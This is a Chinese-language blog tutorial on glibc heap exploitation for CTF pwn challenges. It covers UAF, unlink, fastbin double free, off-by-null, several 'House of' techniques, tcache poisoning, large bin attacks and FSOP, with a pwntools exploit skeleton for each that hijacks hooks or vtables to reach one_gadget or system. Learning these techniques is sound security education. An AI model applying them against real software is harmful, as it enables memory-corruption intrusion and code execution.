3 Days -- 堆利用
网络安全 pwn 11

1. 堆

Chunk 的结构

在内存中,堆是以 Chunk(堆块)为单位存在的。用户申请的数据区域(User Data)前面,总有一个头部(Header)来记录元数据。

  • prev_size: 前一个 Chunk 的大小(如果前一个 Chunk 空闲)。

  • size: 当前 Chunk 的大小(低 3 位用于标志位:A-Allocated Arena, M-Mmaped, P-Prev Inuse)。

  • fd / bk: 前向/后向指针(仅在 Chunk 被释放进 Bin 后有效,复用 User Data 区域)。

Bins (垃圾回收站)

释放的 Chunk 不会立即归还系统,而是进入 Bin 链表中暂存,等待下次 malloc 复用。

  1. Tcache (Thread Local Cache): Glibc 2.26+ 引入。单链表,LIFO(后进先出),每个线程独有,优先级最高,没有安全检查(早期版本)。

  2. Fastbin: 单链表,LIFO,用于小内存,速度快。

  3. Unsorted Bin: 双向链表,FIFO,暂存刚刚释放(且未被 Tcache/Fastbin 收录)的 Chunk。这是泄露 Libc 地址的宝地

  4. Small / Large Bin: 双向链表,用于存放更稳定的大块内存。

2. Use After Free (UAF)

核心成因:程序调用 free(ptr) 释放了内存,但没有将指针 ptr 置为 NULL利用后果

  • 悬挂指针(Dangling Pointer)ptr 依然指向那块内存。

  • 内存复用:如果我们申请一块新内存(大小相同),分配器会把刚刚释放的那块内存分配给我们。

  • 篡改逻辑:此时,ptr 指向的数据实际上已经被新的对象覆盖了。如果原程序通过 ptr 调用函数(如 C++ 虚表),我们就可以篡改函数指针劫持控制流。

from pwn import *

# 假设 add, delete, show, edit 是题目封装好的交互函数
def uaf_exploit():
    # 1. 申请 Chunk A
    add(0x20, b"AAAA") # Index 0
    
    # 2. 释放 Chunk A,但 Index 0 的指针未清空
    delete(0)
    
    # 3. 申请 Chunk B (大小相同),系统会复用 Chunk A 的内存
    # 此时 Index 0 和 Index 1 指向同一块内存
    backdoor = 0x0804863a
    add(0x20, p64(backdoor)) # Index 1, 写入后门地址
    
    # 4. 触发:调用 Index 0 的函数(实际上已经被 Index 1 修改)
    # p.sendline(b'call_func_pointer') 

Unlink 是堆块在进行合并(Consolidate)时执行的一个宏,用于将一个空闲 chunk 从双向链表中“解绑”。 核心机制FD->bk = BK; BK->fd = FD; 利用条件:虽然现代 Glibc 加入了 FD->bk == P && BK->fd == P 的检查,但在某些场景(如有一个指向 chunk 的指针 ptr 存放在已知位置)下,我们依然可以伪造 FDBK 来绕过检查。 后果:通过精心构造,可以实现任意地址写(通常是覆盖存放堆指针的数组,将其指向 GOT 表等)。

绕过现代检查版脚本

def unlink_exploit():
    # 前提:我们有一个指针数组 heap_ptr_array 存放了所有 chunk 的地址
    # 目标:劫持 heap_ptr_array[0],使其指向 heap_ptr_array 自身,从而实现任意读写
    
    # 1. 申请两个 chunk:A (Small Bin大小) 和 B
    add(0x80, b"A") # Index 0
    add(0x80, b"B") # Index 1
    
    # 2. 在 Chunk A 中伪造一个 Fake Chunk
    # 绕过检查的核心:
    # FD = &heap_ptr_array[0] - 0x18
    # BK = &heap_ptr_array[0] - 0x10
    target_addr = 0x6020c0 # 假设这是 heap_ptr_array[0] 的地址
    fake_fd = target_addr - 0x18
    fake_bk = target_addr - 0x10
    
    payload = p64(0) + p64(0x80) # Fake Prev_Size & Size
    payload += p64(fake_fd) + p64(fake_bk)
    payload += b'A' * (0x80 - 0x20) 
    payload += p64(0x80) + p64(0x90) # 覆盖 Chunk B 的 prev_size 和 size (去掉 P 位)
    
    # 3. 编辑 Chunk A,写入 Payload,并溢出修改 Chunk B 的头部
    edit(0, payload)
    
    # 4. 释放 Chunk B
    # 触发 Chunk B 向前合并(Consolidate Backward)
    # 触发 Unlink(Fake_Chunk),导致 heap_ptr_array[0] = heap_ptr_array[0] - 0x18
    delete(1)
    
    # 5. 现在 heap_ptr_array[0] 指向了它自己附近,通过编辑 Index 0 即可修改数组内容

4. Fastbin Attack (Double Free)

在 Tcache 引入之前(或 Chunk 大小超出 Tcache 范围但小于 Fastbin 阈值时),Fastbin 是主要利用对象。 机制:单链表 LIFO。 检查free(p) 时,只检查当前 Fastbin 链表的第一个节点是否等于 p绕过:如果释放顺序是 A -> B -> A,则第二次释放 A 时,链表头部是 B,检查通过。 后果:Fastbin 链表变成 A -> B -> A。当我们申请三次,就能分别拿到 A, B, A。利用最后一次 A,我们可以修改其 fd 指针指向任意地址(如 __malloc_hook 附近),从而实现任意地址分配。

def fastbin_double_free():
    # 1. 申请两个 chunk
    add(0x60, b"A") # chunk 0
    add(0x60, b"B") # chunk 1
    
    # 2. 构造 Double Free: A -> B -> A
    delete(0)
    delete(1)
    delete(0) 
    
    # 3. 第一次申请 A,修改 fd 指向伪造的 chunk 地址
    # 注意:目标地址处必须有一个伪造的 size 字段(如 0x7f),通过错位构造
    fake_chunk_addr = libc.symbols['__malloc_hook'] - 0x23
    add(0x60, p64(fake_chunk_addr)) # index 2 (A)
    
    # 4. 清空链表中的 B 和 A
    add(0x60, b"B_data") # index 3 (B)
    add(0x60, b"A_data") # index 4 (A)
    
    # 5. 下一次申请,将获得 fake_chunk_addr 处的内存
    # 此时可以覆盖 __malloc_hook 为 one_gadget
    add(0x60, b"A" * 0x13 + p64(one_gadget))

5. Off-by-One (Overlapping Chunk)

成因:程序在读取输入时,多读入了一个字节(通常是 null byte,即 \x00)。 利用malloc 分配的 chunk 是复用的,当前 chunk 的数据区可能紧贴着下一个 chunk 的头部。

  • 如果我们可以溢出一个字节到下一个 chunk 的 size 字段。

  • size 的最低位(prev_inuse)覆盖为 0。

  • 后果:下一个 chunk 会认为“我前面的 chunk 是空闲的”。当下一个 chunk 被释放时,它会尝试向后合并(Consolidate backward),吞噬掉原本正在使用的 chunk,造成堆块重叠(Overlapping Chunk)

def off_by_null_exploit():
    # 1. 布局:A (0x100) | B (0x68) | C (0x100)
    # C 用来防止 Top Chunk 合并,B 是我们将要利用 Off-by-null 吞噬的块
    add(0xf0, b"A") # 0
    add(0x60, b"B") # 1
    add(0xf0, b"C") # 2
    
    # 2. 释放 A,使其进入 Unsorted Bin
    delete(0)
    
    # 3. 关键:向 B 写入数据时,溢出一个 \x00 到 C 的 size 域
    # C 的 prev_size 域原本应该是 0 (因为 B 被认为在使用中)
    # 我们利用 Off-by-null 将 C 的 prev_inuse 位置 0,并伪造 prev_size
    # 这里的 payload 需要精细计算
    add(0x60, b"B" * 0x50 + p64(0x100 + 0x70)) # 伪造 prev_size = size(A)+size(B)
    
    # 4. 释放 C
    # C 发现 prev_inuse=0,检查 prev_size,发现是 A+B 的大小
    # 于是 C 向前合并,吞噬了正在使用的 B!
    delete(2)
    
    # 5. 现在我们再次申请内存,就可以覆盖 B 的内容,控制其指针

6. House of Spirit (伪造堆块)

House of Spirit 是一种不需要堆溢出,只需要控制一个指针即可实现的攻击。 核心思想:我们在栈上(Stack)或其他可控区域伪造一个 Fake Chunk,然后将这个 Fake Chunk 的地址传给 free()后果:系统会认为这个栈上的地址是合法的空闲 chunk,将其加入 Fastbin/Tcache。下次申请内存时,就会返回这个栈地址,从而实现任意地址分配(从堆劫持到栈)。

def house_of_spirit():
    # 1. 在栈上构造 Fake Chunk
    # 注意:需要构造两个 chunk,第二个用来通过 free 的 size 检查
    fake_chunk = flat([
        0, 0x60,             # Fake Chunk 1: Prev_size, Size (0x60)
        b'A' * 0x50,         # Data
        0, 0x1234            # Fake Chunk 2: Size (只需要合法的 size 即可)
    ])
    
    # 假设我们能控制栈上的某个变量,或者直接读入数据到栈
    # 并且有一个漏洞可以 free(栈地址)
    
    # 2. 将 fake_chunk 的地址(+0x10,指向 user data)传给 free
    # free(stack_addr + 0x10)
    
    # 3. 再次申请 0x60 大小的 chunk
    # malloc(0x50) -> 系统返回栈上的地址!
    # 此时我们可以覆盖栈上的返回地址(Ret Addr)为 One Gadget
    add(0x50, b"payload")

7. Unsorted Bin Leak (泄露 Libc)

如何知道 libc 的基地址?

  • 当一个 Chunk 被释放进入 Unsorted Bin 时,它的 fdbk 指针会指向 Unsorted Bin 的头部

  • 这个头部位于 main_arena 中,而 main_arena 位于 libc.so 的数据段。

  • 利用条件

    1. 释放一个较大的 Chunk(> 0x420,或者填满 Tcache 后释放)。

    2. 利用 UAF(悬挂指针)打印该 Chunk 的内容。

    3. 读取到的 fd 指针就是 main_arena + offset

def leak_libc():
    # 1. 填满 Tcache (Glibc 2.27+ 需要先填满 7 个)
    for i in range(7):
        add(0x80, b"fill")
        delete(i)
        
    # 2. 申请并释放一个大 Chunk 进入 Unsorted Bin
    add(0x80, b"leak_chunk") # Index 7
    add(0x20, b"guard")      # Index 8 (防止与 Top Chunk 合并)
    delete(7)
    
    # 3. 利用 UAF 读取 Index 7 的 fd 指针
    show(7) 
    leaked_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    
    # 4. 计算 Libc Base
    # 0x3ebca0 是 __malloc_hook + 0x10 或 main_arena 偏移,需调试确定
    libc_base = leaked_addr - 0x3ebca0 
    
    log.success(f"Libc Base: {hex(libc_base)}")

8. House of Force (Top Chunk Exploit)

这是一招古老但针对性极强的剑法(适用于无 Tcache 且 Top Chunk size 未检查的版本)。 核心:利用溢出修改 Top Chunk 的 Size 为一个超大值(如 0xffffffffffffffff)。 利用

  1. 修改 Top Chunk Size 为 -1 (0xff...ff)。

  2. 申请一个巨大的 chunk(通过计算偏移),使得 Top Chunk 指针直接跳转到我们想要的目标地址(如 __malloc_hook)之前。

  3. 再次申请一个小 chunk,就可以直接在目标地址写入数据。

def house_of_force():
    # 1. 假设我们可以溢出修改 Top Chunk 的 size
    # 比如通过 heap overflow 修改 top chunk size 为 0xffffffffffffffff
    payload = b"A" * offset + p64(0xffffffffffffffff)
    edit(0, payload)
    
    # 2. 计算距离:目标地址 - 当前 Top Chunk 地址 - 头部大小
    malloc_hook = libc.symbols['__malloc_hook']
    distance = malloc_hook - top_chunk_addr - 0x20
    
    # 3. 申请巨大块,移动 Top Chunk 指针
    add(distance, b"move_top")
    
    # 4. 再次申请,写入目标
    add(0x20, p64(one_gadget)) # 覆盖 __malloc_hook

9. Tcache Poisoning (任意地址写)

Tcache 是现代 Heap 利用的神器。它是单链表结构,且在早期版本(glibc < 2.29)中缺乏 Double Free 检查。

攻击链

  1. Double Free:释放同一个 Chunk 两次。Tcache 链表变成 A -> A -> ...

  2. Poisoning:下次申请到 A 时,修改其 fd 指针指向目标地址(如 __free_hook)。

  3. Arbitrary Alloc:再次申请,Tcache 会认为链表下一个节点是 __free_hook,从而将其分配给我们。

  4. Get Shell:向 __free_hook 写入 system 地址。下次调用 free("/bin/sh") 等同于 system("/bin/sh")

(注:Glibc 2.29+ 增加了 Key 检查,Double Free 变难,通常改用 UAF 修改 fd 指针)

10. Large Bin Attack (写任意地址)

利用点:当一个 Chunk 从 Unsorted Bin 被移动到 Large Bin,或者 Large Bin 进行整理时,会使用 bk_nextsizefd_nextsize 指针。 核心:如果我们能控制 Large Bin 中某个 Chunk 的 bk_nextsize 指针(例如通过 UAF),我们就能让分配器将该 Chunk 的地址写入到 Target_Addr - 0x20 的位置。 应用:通常用于将一个堆地址写入 _IO_list_all,从而劫持 FILE 结构体流进行 FSOP。

def large_bin_attack():
    # 前提:创造 Large Bin 中有 chunk,Unsorted Bin 中有比它大的 chunk
    # 1. 申请一个 Large Chunk A,并将其放入 Large Bin
    add(0x420, b"A") # Index 0
    add(0x20, b"guard") # Index 1
    delete(0) 
    # 此时 A 在 Unsorted Bin,申请一个更大的块触发整理
    add(0x430, b"Trigger") # Index 2 -> A 进入 Large Bin
    
    # 2. 申请 Chunk B (仍在 Unsorted Bin 中,需比 A 大)
    delete(2) # 释放 Index 2 (0x430) 到 Unsorted Bin
    
    # 3. 利用 UAF 修改 Large Bin 中 Chunk A 的 bk_nextsize
    # 目标:将 A 的地址写入 target_addr
    target_addr = libc.symbols['_IO_list_all'] - 0x20
    edit(0, p64(0)*3 + p64(target_addr)) # 修改 A->bk_nextsize (偏移需计算)
    
    # 4. 申请一个 chunk,触发 Unsorted Bin 整理
    # 分配器会将 B 放入 Large Bin,期间触发利用
    add(0x60, b"trigger") 
    
    # 结果:_IO_list_all 被覆盖为 &A

11. House of Einherjar (强制堆合并)

House of Einherjar 利用了 Top Chunk(或普通 Chunk)的向后合并机制。 核心:通过 Off-by-one 溢出,将 Top Chunk 的 prev_inuse 位(P位)清除为 0,并伪造 prev_size利用

  1. 在栈上或堆的低地址处伪造一个 Fake Chunk。

  2. 溢出修改 Top Chunk,使其认为前一个 chunk(即我们的 Fake Chunk)是空闲的,且大小为 Top - Fake

  3. 调用 malloc 申请大内存触发 sysmalloc(或整理机制),分配器会将 Top Chunk 与前面的 Fake Chunk 合并。

  4. 结果:Top Chunk 指针被移动到了 Fake Chunk 的位置(栈上),下次申请即可控制该区域。

def house_of_einherjar():
    # 1. 在栈上准备 Fake Chunk (目标地址)
    target = stack_addr
    # Fake Chunk 需要简单的 size 字段
    
    # 2. 申请 Chunk A,它是 Top Chunk 的邻居
    add(0x20, b"A") 
    
    # 3. 溢出 A,修改 Top Chunk 的头部
    # 计算距离:Top Chunk Addr - Target Addr
    prev_size = top_chunk_addr - target
    
    # Off-by-one: 写入 prev_size 并覆盖 Top Chunk size 的 P 位为 0
    payload = b"A" * 0x20 + p64(prev_size) # 填充 A 并写入 prev_size
    # 注意:这里隐式利用了 edit 函数会在末尾写入 \x00 或者我们能控制写入
    # 使得 Top Chunk Size 从 0x20X01 变为 0x20X00
    edit(0, payload) 
    
    # 4. 申请大块内存,触发合并
    add(0x1000, b"Trigger")
    
    # 5. Top Chunk 现在指向了 target (stack_addr),再次申请即可任意写
    add(0x100, b"Payload")

12. FSOP / IO_FILE (高版本大杀器)

在 Glibc 2.34+ 移除了 __malloc_hook__free_hook 后,FSOP (File Stream Oriented Programming) 成为了主流。 核心:劫持 _IO_list_all 链表,或者覆盖 stdout / stdin 结构体。 利用

  1. 伪造一个 _IO_FILE 结构体。

  2. 将其 vtable 指针指向我们伪造的虚表(Fake Vtable)。

  3. 伪造虚表中的 _IO_overflow_IO_finish 函数指针为 system

  4. 当程序调用 exit() 或进行 IO 操作时,触发伪造的函数指针。

def fsop_exploit():
    # 使用 Pwntools 的 FileStructure 快速构造
    fake_file = FileStructure()
    fake_file.flags = 0x3b01010101010101 # "/bin/sh" 头部
    fake_file._IO_read_ptr = libc.symbols['system'] # 有些利用利用这个传参
    
    # 伪造 vtable
    fake_vtable = flat([
        0, 0, # ... 填充
        libc.symbols['system'] # _IO_overflow 位置
    ])
    
    # 将 fake_file 写入堆中已知位置
    
    # 劫持 _IO_list_all 指向 fake_file (通过 Large Bin Attack 等)
    
    # 触发 exit(),系统会遍历 _IO_list_all 并调用 vtable 函数

利用点:当 calloc 分配内存时,如果不从 Tcache 取,会从 Small Bin 取。如果 Small Bin 中有 chunk,calloc 会尝试将 Small Bin 中剩余的 chunk 放入 Tcache(Stash 机制)。 攻击

  1. 构造 Small Bin 中有两个 chunk:A -> B

  2. 控制 Bbk 指针,指向 Fake_Addr

  3. 触发 calloc 分配 A。

  4. 分配器看到 B,决定把 B 放入 Tcache。同时,它会继续把 B->bk (即 Fake_Addr) 也放入 Tcache。

  5. 结果Fake_Addr 被链接到了 Tcache 链表中。下次 malloc 就能分配到 Fake_Addr

def tcache_stashing_unlink():
    # 前提:Tcache 有空位,Small Bin 有 A, B
    # 1. 劫持 B->bk
    # 目标:将 stack_var_addr 分配出来
    target = stack_var_addr
    edit_b_bk(target)
    
    # 2. 调用 calloc (跳过 Tcache 直接看 Bin)
    calloc(1, 0x100) 
    
    # 3. 此时 target 已经被放入 Tcache 列表
    malloc(0x100) # 拿走 B
    malloc(0x100) # 拿到 target (stack_var_addr)

3 Days -- 堆利用
https://www.kiki1e.top/archives/wei-ming-ming-wen-zhang-0oIzyTdS
作者
kiki1e
发布于
更新于
许可